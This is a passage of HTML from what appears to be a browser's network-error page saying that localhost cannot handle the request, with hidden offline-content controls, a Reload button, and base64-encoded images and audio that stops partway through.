          <a class="link-button" onclick="savePageLaterClick()" jsselect="savePageLater" jscontent="savePageMsg" jstcache="10" style="display: none;">
          </a>
        </div>
        <div id="cancel-save-page-button" class="hidden" onclick="cancelSavePageClick()" jsselect="savePageLater" jsvalues=".innerHTML:cancelMsg" jstcache="4" style="display: none;">
        </div>
        <div id="offline-content-list" class="list-hidden" hidden="" jstcache="0">
          <div id="offline-content-list-visibility-card" onclick="toggleOfflineContentListVisibility(true)" jstcache="0">
            <div id="offline-content-list-title" jsselect="offlineContentList" jscontent="title" jstcache="12" style="display: none;">
            </div>
            <div jstcache="0">
              <div id="offline-content-list-show-text" jsselect="offlineContentList" jscontent="showText" jstcache="14" style="display: none;">
              </div>
              <div id="offline-content-list-hide-text" jsselect="offlineContentList" jscontent="hideText" jstcache="15" style="display: none;">
              </div>
            </div>
          </div>
          <div id="offline-content-suggestions" jstcache="0"></div>
          <div id="offline-content-list-action" jstcache="0">
            <a class="link-button" onclick="launchDownloadsPage()" jsselect="offlineContentList" jscontent="actionText" jstcache="13" style="display: none;">
            </a>
          </div>
        </div>
      </div>
    </div>
    <div id="buttons" class="nav-wrapper suggested-right" jstcache="0">
      <div id="control-buttons" jstcache="0">
        <button id="reload-button" class="blue-button text-button" onclick="reloadButtonClick(this.url);" jsselect="reloadButton" jsvalues=".url:reloadUrl" jscontent="msg" jstcache="5">Reload</button>
        <button id="download-button" class="blue-button text-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
        </button>
      </div>
      <button id="details-button" class="secondary-button text-button small-link" onclick="detailsButtonClick(); toggleHelpBox()" jscontent="details" jsdisplay="(suggestionsDetails &amp;&amp; suggestionsDetails.length > 0) || diagnose" jsvalues=".detailsText:details; .hideDetailsText:hideDetails;" jstcache="2" style="display: none;"></button>
    </div>
    <div id="details" class="hidden" jstcache="0">
      <div class="suggestions" jsselect="suggestionsDetails" jstcache="3" jsinstance="*0" style="display: none;">
        <div class="suggestion-header" jsvalues=".innerHTML:header" jstcache="7"></div>
        <div class="suggestion-body" jsvalues=".innerHTML:body" jstcache="8"></div>
      </div>
    </div>
  </div>
  <div id="sub-frame-error" jstcache="0">
    <!-- Show details when hovering over the icon, in case the details are
         hidden because they're too large. -->
    <div class="icon" jstcache="0"></div>
    <div id="sub-frame-error-details" jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</div>
  </div>

  <div id="offline-resources" jstcache="0">
    <img id="offline-resources-1x" src="data:image/png;base64,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" jstcache="0">
    <img id="offline-resources-2x" src="data:image/png;base64,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" jstcache="0">
    <template id="audio-resources" jstcache="0">
      <audio id="offline-sound-press" src="data:audio/mpeg;base64,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